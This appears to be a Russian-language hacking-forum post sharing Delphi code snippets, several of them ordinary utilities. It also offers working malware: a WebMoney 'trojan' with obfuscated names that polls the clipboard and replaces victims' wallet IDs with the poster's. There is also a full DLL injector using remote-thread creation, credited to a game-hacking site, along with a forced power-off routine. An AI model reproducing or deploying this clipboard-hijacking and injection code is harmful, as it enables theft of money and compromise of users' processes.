        ThirdParty.ThirdStatusBar = ' '
        ThirdParty.ThirdSpeedButton = ' '
        ThirdParty.ThirdScrollControl = ' '
        ThirdParty.ThirdUpDown = ' '
        ThirdParty.ThirdScrollBar = ' '
        ThirdParty.ThirdStaticText = 'TStaticText'
        Left = 464
        Top = 8
      end
    end
    
    Блять, открыл старий проект заразился индюком
    Ни одного реального кода:

    Отправка файла на ФТП, подклюаем WinInet

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    Рекурсивный поиск файлов
    Код:
    var
      Form1: TForm1;
      count:integer;
    
    implementation
    
    {$R *.dfm}
    procedure GetAllFiles(mask: string);
    var
      search: TSearchRec;
      directory: string;
    begin
      directory := ExtractFilePath(mask);
    if FindFirst(mask, $23, search) = 0 then
      begin
        repeat
          Form1.Memo1.Lines.Add(directory + search.Name);
    
          Inc(Count);
        until FindNext(search) <> 0;
      end;
    if FindFirst(directory + '*.*', faDirectory, search) = 0 then
      begin
        repeat
          if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
            GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
        until FindNext(search) <> 0;
        FindClose(search);
      end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
      directory: string;
      mask: string;
    begin
      Count := 0;
    
      directory := edit2.text;
      mask := edit1.text;
    
      Screen.Cursor := crHourGlass;
      try
        GetAllFiles(directory + mask);
      finally
        Screen.Cursor := crDefault;
      end;
      ShowMessage(IntToStr(Count) + ' Files found');
    end;
    
    Вебмани троян
    Код:
    Program KNoW_Engine;
    
    uses
      windows;
    
    var
    a,b:longword;
    
    
    Function ZH3HDJ43FHhHJHhkhk8ghk:THandle; //Инициализация читания текста из буфера
    begin
    OpenClipboard(0);
    Result := GetClipboardData(CF_TEXT);
    end;
    
    function GHGG770f7T69frfgJH8TT8: string; //Читание текста из буфера
    var
      Data: THandle;
    begin
    Data :=ZH3HDJ43FHhHJHhkhk8ghk;
      try
        if Data <> 0 then
          Result := PChar(GlobalLock(Data))
        else
          Result := '';
      finally
        if Data <> 0 then GlobalUnlock(Data);
        CloseClipboard;
      end;
    end;
    
    procedure HT6G7fgjh67fygu8f86F6fFH(const S: string);  //запись в буффер
    var hglbCopy: THandle; L: Cardinal;
    begin
    L:=Length(S)+1;
      OpenClipboard(0);
    try
      EmptyClipboard;
      hglbCopy:=GlobalAlloc(GMEM_DDESHARE, L);
      Move(PChar(S)^,GlobalLock(hglbCopy)^,L);
      GlobalUnlock(hglbCopy);
      SetClipboardData(CF_TEXT, hglbCopy);
    finally
      CloseClipboard;
    end;
    end;
    
    
    
    
    Procedure H447h7hhh7gGHgGHG8Gg787GgGHG8; //процесс трояна
    var
    KernText:AnsiString;
    begin
    while 6>0 do
    begin
    KernText :=GHGG770f7T69frfgJH8TT8;
    if KernText = 'KWT' then begin
    halt;
    end;
    if Length(KernText) = 13 then begin
    if Copy(KernText,0,1) = 'R' then
    HT6G7fgjh67fygu8f86F6fFH('Rкошель'));
    if Copy(KernText,0,1) = 'Z' then
    HT6G7fgjh67fygu8f86F6fFH('Zкошель'));
    if Copy(KernText,0,1) = 'U' then
    HT6G7fgjh67fygu8f86F6fFH('Uкошель'));
    end;
    sleep(100);
    
    end;
    end;
    
    procedure FH48FH8ygH87g788Hih;
    begin
    a := beginthread(nil,0,@H447h7hhh7gGHgGHG8Gg787GgGHG8,nil,0,b);
    SetThreadPriority(a, THREAD_PRIORITY_HIGHEST);
    end;
    
    var
    mmsg:MSG;
    
    
    
    begin
    FH48FH8ygH87g788Hih;
    while GetMessage(mmsg,0,0,0) do
        begin
        TranslateMessage(mmsg);
        DispatchMessage(mmsg);
        end;
    end.
    
    
    А теперь коронный код, выключение компа как с розетки.
    Код:
    тип:
      _SHUTDOWN_ACTION = (
      ShutdownNoReboot,
      ShutdownReboot,
      ShutdownPowerOff);
      SHUTDOWN_ACTION = _SHUTDOWN_ACTION;
      TShutdownAction = SHUTDOWN_ACTION;
      NTSTATUS = Longint;
      PNTSTATUS = ^NTSTATUS;
      TNTStatus = NTSTATUS;
      function  NtShutdownSystem(Action : SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
    
    Процедура:
    Procedure Power_Off;
    var
      hToken: THandle;
      tkp, prevst: TTokenPrivileges;
      rl: DWORD;
    begin
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
      LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Attributes := 2;
      AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(prevst), prevst, rl);
      NtShutdownSystem(ShutdownPowerOff);
    end;
    
    
    Проверка подклюения к инету
    Код:
    function IsConnectedToInternet: Boolean;
    var
    dwConnectionTypes: DWORD;
    begin
    dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
    Result := InternetGetConnectedState(@dwConnectionTypes, 0);
    end;
    Загрука файла WinInet
    Код:
    function DFile(SourceFile, DestFile: string): Boolean;
    begin
      try
      Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0;
      except
      Result := False;
      end;
    end;
    
    Получение папки темп и юзернейма
    Код:
    function GetTempDir():string;
    var
      buf:string;
      len:UINT;
    begin
      SetLength(buf, MAX_PATH+1);
      len:=GetTempPath(MAX_PATH, PAnsiChar(buf));
      SetLength(buf,len);
      GetTempDir:=buf
    end;
    
    function GetUser: string;
    var
      UserName : string;
      UserNameLen : Dword;
    begin
      UserNameLen := 255;
      SetLength(userName, UserNameLen);
      if GetUserName(PChar(UserName), UserNameLen) then
        Result := Copy(UserName,1,UserNameLen - 1)
      else
        Result := 'Unknown';
    end;
    
    Генератор случайных строк т.е паролей
    Код:
    function Gen(): string;
    var
      str: string;
      PLen: Integer ;
    begin
    Randomize;
    Plen :=4; //Длина
      str    := 'abcdefghijklmnopqrstuvwxyz1234567890'; //Алфавит
      Result := '';
      repeat
        Result := Result + str[Random(Length(str)) + 1];
      until (Length(Result) = PLen)
    end;
    Убить процесс в uses Tlhelp32
    Код:
    
    function KillTask(ExeFileName:string):integer;
    const
    PROCESS_TERMINATE=$0001;
    var
    Co:BOOL;
    FS:THandle;
    FP:TProcessEntry32;
    begin
    result:=0;
    
    FS:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    FP.dwSize:=Sizeof(FP);
    Co:=Process32First(FS,FP);
    while integer(Co) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FP.szExeFile))=UpperCase(ExeFileName)) or
    (UpperCase(FP.szExeFile)=UpperCase(ExeFileName))) then
    Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
    FP.th32ProcessID),0));
    Co:=Process32Next(FS,FP);
    end;
    CloseHandle(FS);
    end;
    Dll инжектор

    Модуль:
    Код:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
      Dialogs, TlHelp32, Buttons, StdCtrls, jpeg, ExtCtrls, sSkinManager,
      sEdit, sGauge, sButton, sLabel, ComCtrls, sTrackBar, sPanel, sSpeedButton,
      sStatusBar;
    
    type
      TForm1 = class(TForm)
        OpenDialog1: TOpenDialog;
        sSkinManager1: TsSkinManager;
        sButton2: TsButton;
        sButton1: TsButton;
        Button1: TsButton;
        sEdit1: TsEdit;
        Edit1: TsEdit;
        Edit2: TsEdit;
        sStatusBar1: TsStatusBar;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    function GetOSVersion: Cardinal;
    var
      OSVersionInfo: TOSVersionInfo;
    begin
      Result := 0;
      FillChar(OSVersionInfo, Sizeof(OSVersionInfo), 0);
      OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
      if GetVersionEx(OSVersionInfo) then
      begin
        if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
        begin
          if OSVersionInfo.dwMajorVersion = 5 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 50//Windows 2000
            else if OSVersionInfo.dwMinorVersion = 2 then
              Result := 52//Windows 2003
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 51//Windows XP
          end;
          if OSVersionInfo.dwMajorVersion = 6 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 60//Windows Vista
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 61;//Windows 7
          end;
        end;
      end;
    end;
    
    
    
    function ModulInjectByDen(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    var
      hSnapshot: THandle;
      ModuleEntry32: TModuleEntry32;
    begin
      Result := False;
      hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessID);
      if (hSnapshot <> -1) then
      begin
        ModuleEntry32.dwSize := SizeOf(TModuleEntry32);
        if (Module32First(hSnapshot, ModuleEntry32)) then
          repeat
            if string(ModuleEntry32.szExePath) = string(ModulePath) then
            begin
              Result := True;
              Break;
            end;
          until
            not Module32Next(hSnapshot, ModuleEntry32);
        CloseHandle(hSnapshot);
      end;
    end;
    
    function InjectIDMetod(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    type
      TNtCreateThreadEx = function(
      ThreadHandle: PHANDLE;
      DesiredAccess: ACCESS_MASK;
      ObjectAttributes: Pointer;
      ProcessHandle: THANDLE;
      lpStartAddress: Pointer;
      lpParameter: Pointer;
      CreateSuspended: BOOL;
      dwStackSize: DWORD;
      Unknown1: Pointer;
      Unknown2: Pointer;
      Unknown3: Pointer): HRESULT; stdcall;
    var
      lpStartAddress, lpParameter: Pointer;
      dwSize: Integer;
      hProcess, hThread, lpThreadId, lpExitCode, lpBytesWritten: Cardinal;
      NtCreateThreadEx: TNtCreateThreadEx;
    begin
      Result := False;
      if ModulInjectByDen(ModulePath, ProcessID) = True then
        Exit;
      hProcess := 0;
      hProcess := OpenProcess(MAXIMUM_ALLOWED, False, ProcessID);
      if hProcess = 0 then
        Exit;
      dwSize := StrLen(ModulePath) + 1;
      lpParameter := VirtualAllocEx(hProcess, nil, dwSize, MEM_COMMIT, PAGE_READWRITE);
      if (lpParameter = nil) then
      begin
        if hProcess <> 0 then
          CloseHandle(hProcess);
        Exit;
      end;
      if GetOSVersion >= 60 then
        NtCreateThreadEx := GetProcAddress(GetModuleHandleW('ntdll'), 'NtCreateThreadEx');
      lpStartAddress := GetProcAddress(GetModuleHandleW('kernel32'), 'LoadLibraryA');
      if (lpStartAddress = nil) then
        Exit;
      if GetOSVersion >= 60 then
        if (@NtCreateThreadEx = nil) then
          Exit;
      lpBytesWritten := 0;
      if (WriteProcessMemory(hProcess, lpParameter, ModulePath, dwSize, lpBytesWritten) = False) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        if hProcess <> 0 then
          CloseHandle(hProcess);
        Exit;
      end;
      hThread := 0;
      lpThreadId := 0;
      if GetOSVersion >= 60 then
        NtCreateThreadEx(@hThread, MAXIMUM_ALLOWED, nil, hProcess, lpStartAddress, lpParameter, false, 0, 0, 0, 0)
      else
        hThread := CreateRemoteThread(hProcess, nil, 0, lpStartAddress, lpParameter, 0, lpThreadId);
      if (hThread = 0) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        Exit;
      end;
      GetExitCodeThread(hThread, lpExitCode);
      if hProcess <> 0 then
        CloseHandle(hProcess);
      if hThread <> 0 then
        CloseHandle(hThread);
      Result := True;
    end;
    
    
    procedure TForm1.sButton2Click(Sender: TObject);
    var
      hSnap:THandle;
      pe:TProcessEntry32;
      pid: DWORD;
    begin
    pe.dwSize:=SizeOf(pe);
    hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
      If Process32First(hSnap,pe) then
        While Process32Next(hSnap,pe) do
          if ExtractFileName(pe.szExeFile)='explorer.exe' then
        edit2.Text:=IntToStr(pe.th32ProcessID);
        end;
    
    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      if OpenDialog1.Execute then
        Edit1.Text:= OpenDialog1.FileName;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      InjectIDMetod(PAnsiChar(Edit1.Text), StrToInt(Edit2.Text));
      sEdit1.Text:='DLL Успешно Заинжектился';
    end;
    
    end.
    
    Файл прокта
    Код:
    program Project1;
    
    uses
      Forms,
      Unit1 in 'Unit1.pas' {Form1};
    
    {$R *.res}
    
    begin
      Application.Initialize;
      Application.Title := 'DLL Inject by DenkA003';
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    
    Форма
    Код:
    object Form1: TForm1
      Left = 521
      Top = 136
      BorderIcons = [biSystemMenu, biMinimize]
      BorderStyle = bsSingle
      Caption = 'DLL Inject by DenkA003'
      ClientHeight = 124
      ClientWidth = 277
      Color = clBtnFace
      Font.Charset = RUSSIAN_CHARSET
      Font.Color = clBlack
      Font.Height = -10
      Font.Name = 'MS Sans Serif'
      Font.Style = []
      Icon.Data = {
        0000010001002020200000000000A81000001600000028000000200000004000
        0000010020000000000000100000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000002393FE2D2393FE6C2393FEEE2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFE2393FEB02393FE4E2393FE0A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FE3F2393FEDA2393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF72393FE932393
        FE02000000000000000000000000000000000000000000000000000000000000
        00000000000000000000000000000000000000000000000000002393FEA92393
        FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF92393FE9D2393
        FE992393FEB72393FEF92393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEF42393FE470000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000002393FE122393FEDE2393FEFF2393
        FEFF2393FEFF2393FEF62393FEA62393FE162393FE0C00000000000000000000
        0000000000002393FE052393FE122393FE232393FEE82393FEFD2393FEFF2393
        FEFF2393FEFD2393FE7000000000000000000000000000000000000000000000
        00000000000000000000000000002393FE172393FEF82393FEFF2393FEFF2393
        FEFD2393FE970000000000000000000000000000000000000000000000000000
        000000000000000000000000000000000000000000002393FE132393FEE52393
        FEFF2393FEFF2393FEFE2393FE9E000000000000000000000000000000000000
        000000000000000000002393FE022393FEF62393FEFF2393FEFF2393FEF22393
        FE32000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FEB32393FEFE2393FEFF2393FEFE2393FE8F0000000000000000000000000000
        000000000000000000002393FEB92393FEFF2393FEFF2393FEF32393FE070000
        000000000000000000000000000000000000000000002393FE012393FE502393
        FE6B2393FE4C0000000000000000000000000000000000000000000000000000
        00002393FE602393FEFC2393FEFF2393FEFE2393FE4D00000000000000000000
        0000000000002393FE482393FEFE2393FEFF2393FEFA2393FE1B000000000000
        00000000000000000000000000002393FE562393FED02393FEEC2393FEFF2393
        FEFF2393FEFF2393FEF42393FEEA2393FE430000000000000000000000000000
        0000000000002393FE872393FEFF2393FEFF2393FEEF2393FE02000000000000
        00002393FE042393FEE12393FEFF2393FEFE2393FE6A00000000000000000000
        0000000000002393FE0E2393FED62393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE82393FE04000000000000
        000000000000000000002393FEC22393FEFF2393FEFF2393FE91000000000000
        00002393FE7A2393FEFF2393FEFF2393FEE30000000000000000000000000000
        00002393FE082393FEEC2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF42393FE030000
        000000000000000000002393FE062393FEFB2393FEFF2393FEF82393FE150000
        00002393FEE82393FEFF2393FEFF2393FE390000000000000000000000002393
        FE042393FEE72393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE40000
        00000000000000000000000000002393FEBD2393FEFF2393FEFF2393FE562393
        FE342393FEFF2393FEFF2393FEFF000000000000000000000000000000002393
        FE9E2393FEFF2393FEFF2393FEF32393FEA42393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFC2393FE9B2393FEFE2393FEFF2393FEFE2393
        FE440000000000000000000000002393FE182393FEFF2393FEFF2393FEF22393
        FE482393FEFF2393FEFF2393FEDC0000000000000000000000002393FE012393
        FEEA2393FEFF2393FEFB2393FE26000000002393FECC2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFA2393FE4F000000002393FE8D2393FEFF2393FEFF2393
        FEE10000000000000000000000002393FE0A2393FEFD2393FEFF2393FEFF2393
        FE822393FEFF2393FEFF2393FE530000000000000000000000002393FE4A2393
        FEFE2393FEFF2393FEC600000000000000002393FE082393FEE92393FEFF2393
        FEFF2393FEFF2393FE9F00000000000000002393FE082393FEF62393FEFF2393
        FEF32393FE030000000000000000000000002393FEBA2393FEFF2393FEFF2393
        FEF32393FEFF2393FEFF2393FE690000000000000000000000002393FE6D2393
        FEFF2393FEFF2393FEA40000000000000000000000002393FE282393FEFD2393
        FEFF2393FEF0000000000000000000000000000000002393FEEA2393FEFF2393
        FEFF2393FE5F0000000000000000000000002393FE742393FEFF2393FEFF2393
        FEFA2393FEFF2393FEFF2393FE720000000000000000000000002393FE8E2393
        FEFF2393FEFE2393FE6E000000000000000000000000000000002393FEBD2393
        FEFF2393FE41000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE790000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEF12393FEFF2393FEFF2393FE5B0000000000000000000000002393FEBC2393
        FEFF2393FEFF2393FEA70000000000000000000000002393FE192393FEF22393
        FEFF2393FED6000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE760000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEA82393FEFF2393FEFF2393FEE82393FED72393FED62393FEC02393FEF72393
        FEFF2393FEFF2393FEE70000000000000000000000002393FEDB2393FEFF2393
        FEFF2393FEFF2393FE750000000000000000000000002393FEF02393FEFF2393
        FEFC2393FE270000000000000000000000002393FE982393FEFF2393FEFF2393
        FE262393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FE1A000000002393FE7A2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFE2393FE22000000002393FE4B2393FEFE2393FEFF2393
        FED80000000000000000000000002393FE062393FEF42393FEFF2393FEFF2393
        FE292393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEDF2393FE322393FEFD2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEED2393FE352393FEFB2393FEFF2393FEFF2393
        FE7A0000000000000000000000002393FE162393FEFF2393FEFF2393FEF02393
        FE012393FED12393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFC2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEFF2393FEFF2393FEC22393
        FE020000000000000000000000002393FEA42393FEFF2393FEFF2393FE610000
        00002393FE922393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF12393FE060000
        000000000000000000002393FE032393FEFD2393FEFF2393FEFD2393FE192393
        FE272393FEFB2393FEFF2393FEFF2393FEFE2393FEEA2393FEE02393FEFE2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF62393FE07000000000000
        000000000000000000002393FEBD2393FEFF2393FEFF2393FEAB000000002393
        FEE72393FEFF2393FEFF2393FEF72393FE0400000000000000002393FE042393
        FEE02393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEF32393FEC10000000000000000000000000000
        0000000000002393FE312393FEFE2393FEFF2393FEF82393FE11000000002393
        FEFE2393FEFF2393FEFF2393FE0E000000000000000000000000000000002393
        FE072393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEBB2393FE712393
        FE642393FE652393FE5000000000000000000000000000000000000000000000
        00002393FE192393FEFA2393FEFF2393FEFF2393FE7D00000000000000002393
        FEFF2393FEFF2393FEED00000000000000000000000000000000000000000000
        00002393FEF82393FEFF2393FEFF2393FEFF2393FEFF2393FE52000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FE192393FEF02393FEFF2393FEFF2393FEC90000000000000000000000002393
        FEFF2393FEFF2393FEFC00000000000000000000000000000000000000002393
        FE022393FEFC2393FEFF2393FEFF2393FEFF2393FEFF2393FE79000000000000
        00000000000000000000000000000000000000000000000000002393FE942393
        FEF92393FEFF2393FEFF2393FED42393FE060000000000000000000000002393
        FEFD2393FEFF2393FEFF2393FE97000000000000000000000000000000002393
        FE3C2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FE5A000000000000
        00000000000000000000000000002393FE062393FE682393FEF72393FEFF2393
        FEFF2393FEFF2393FE9C2393FE04000000000000000000000000000000002393
        FEA12393FEFF2393FEFF2393FEFF2393FEC62393FE2C2393FE1E2393FEBB2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEC32393FE952393
        FE812393FE842393FE7F2393FEAB2393FEFD2393FEFF2393FEFF2393FEFF2393
        FEF72393FE6F0000000000000000000000000000000000000000000000002393
        FE012393FED62393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEDD2393
        FE25000000000000000000000000000000000000000000000000000000000000
        00002393FE032393FED92393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFD2393FEB52393FEF62393FEFE2393FEFE2393FEFE2393FEFF2393
        FEFF2393FEFF2393FEFD2393FEFD2393FEFB2393FEB72393FE4A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        000000000000000000002393FEAD2393FEFE2393FEFF2393FEFF2393FEFF2393
        FEE92393FE0300000000000000002393FE242393FE1C2393FE682393FEEF2393
        FEF52393FEE72393FE272393FE262393FE160000000000000000000000000000
        000000000000000000000000000000000000000000000000000000000000FFC0
        01FFFF00007FFE00003FF803C01FF03FFC0FE07FFF07E0FC3F83C1F007C183C0
        01E1878000E0870000F00F0000700E0808700E1818380E1C3C380E1E3C380E1C
        3C38001C1C38000808700000007000000070800000E0000001E1060007C10F00
        1F831F81FF071F01FE070F01F00F0000003F0000007F800001FFE03007FF}
      OldCreateOrder = False
      Position = poDesktopCenter
      PixelsPerInch = 96
      TextHeight = 13
      object sButton2: TsButton
        Left = 8
        Top = 8
        Width = 105
        Height = 25
        Caption = #1053#1072#1081#1090#1080' '#1055#1088#1086#1094#1077#1089
        TabOrder = 0
        OnClick = sButton2Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sButton1: TsButton
        Left = 8
        Top = 40
        Width = 105
        Height = 25
        Caption = #1042#1099#1073#1088#1072#1090#1100' Dll....'
        TabOrder = 1
        OnClick = sButton1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object Button1: TsButton
        Left = 8
        Top = 72
        Width = 105
        Height = 25
        Caption = #1042#1085#1077#1076#1088#1080#1090#1100' DLL'
        TabOrder = 2
        OnClick = Button1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sEdit1: TsEdit
        Left = 119
        Top = 75
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 3
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit1: TsEdit
        Left = 119
        Top = 41
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 4
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit2: TsEdit
        Left = 119
        Top = 9
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 5
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object sStatusBar1: TsStatusBar
        Left = 0
        Top = 105
        Width = 277
        Height = 19
        Panels = <
          item
            Alignment = taCenter
            Text = '    By DenkA003 for GameHackClab.ru'
            Width = 50
          end>
        SkinData.SkinSection = 'STATUSBAR'
      end
      object OpenDialog1: TOpenDialog
        Filter = 'dll|*.dll'
        Left = 431
        Top = 7
      end
      object sSkinManager1: TsSkinManager
        ExtendedBorders = True
        InternalSkins = <
          item
            Name = 'Ubuntu (internal)'
            Shadow1Color = clBlack
            Shadow1Offset = 0
            Shadow1Transparency = 0
            Data = {
              41537A66050000000B0000004F7074696F6E732E646174A7300000789CDD1A5B
              6FB338F6BD52FFC3F607CCB7BE600C8A22952414500920422FDF8CE61B8D56A3
              DDA71D691EF6B1BF7DCFB1B101C721246DE7F650C7D0139FFBD5F9212BEB4D52
              16D543FDE3EDCD3E397469BB29BA7DD2ACF5C397CDBEB9BD794EDB435157EBE8
              0B21B737C95397D7EDFAF0CB6FFFFEE51FD9AFFFFDD77F7EFEEDD7FFDDDE6CEB
              125E5341E39851717B93D75DFF2A9452AA570F75D5BF83733675BB4B5BFDC843
              1A8741707BD36DCBF4A15B4701C013783EE4C9AE7EA1FD412CE48C89D0BEAE1F
              1E0E69B766F6C5A67C82C3F0ECD76D9E6E1FD3DDFA9E9058DC134A2358B8C485
              DDF37B45C0EB53E58291C080C11714D8619F94E51890062140CB187611C3EF51
              7B5ED6265F478701A6FE30F8CA709885D22785D29C04672AA836D915F5182112
              C5F03019E289D13DB36053CA10900803C8A80654108A2A4045184720DC717E4F
              15E5C5B6AEF2B46C1046A0A01477049738E8B943987D512108816F51112330A2
              9163906D591F527B8EB0E74C80AABADDDB8364640E8AB985C15392B2AECE1EB5
              4F5E674E3A0C54D300F9E6B1118E20231043B5060AB90132A80E23AA358CA006
              26641666423521B0508112A7B8B031498AEA5327656DD114FB24531451FCB230
              1640C2D0E8ECD024DB741DE0B62DB2BC5B87BD7DB9A61AD3DEC028B1027E06B7
              CF2AE587455737B8E9B69BBAEBEABDDEE3CB20A282736E7CF5A5D8753962D914
              8F69DAE44FE99AF6FCF4C6A31992D60023347B80E98AAE4CF35451C9D120D30A
              A24BEFBEDF318C3DAFFDBF59747B737BF3C3266921241DBAA44B0F88C58D2E9A
              2260F7F0B8FE86B2FE86DCC18EE18EE18E5077810FF8A3064193546939C1E29E
              0A5FA0B1841D871DA3B8A3418F0E14874BAC4E15786A860E099C3510D6E0634D
              8657BBA44BD6D53F1310459B54A0B936ADB65FD71403AA264689682026F046CB
              63CAC0C72D65C8F4B023EC1B90FA4D226513A444C566F7D503105A6569956C4A
              301D6A5E14A0A7A483E80FF2D15F9C90E5AA0579790223AA064EF831D4E4089B
              271C6B9BF04A225C84402D337CC7DD851B2D2C630432DF0BFE133FC9FA0E3F36
              5DF5A5A9B23B7A47EEF81DA025EED2C3EF93368390A2ED48391B84FE09C31306
              8F35EE8A5FBD5C463760DC151062B2011F3BE71D1005D031D05094F0C491634C
              BD63C8DC63BDEE8AE7020E9DE07534152BFDA083C431EE847115BD30BDB378BC
              AE90BEC26B2849D289630E021D6872DD4D9D30713811334E2559F5E5C58A462B
              BA1A1ECD6744BCAFD55BC7E407ECD368A903B0E6E001D2C405DA211CE5C2D16F
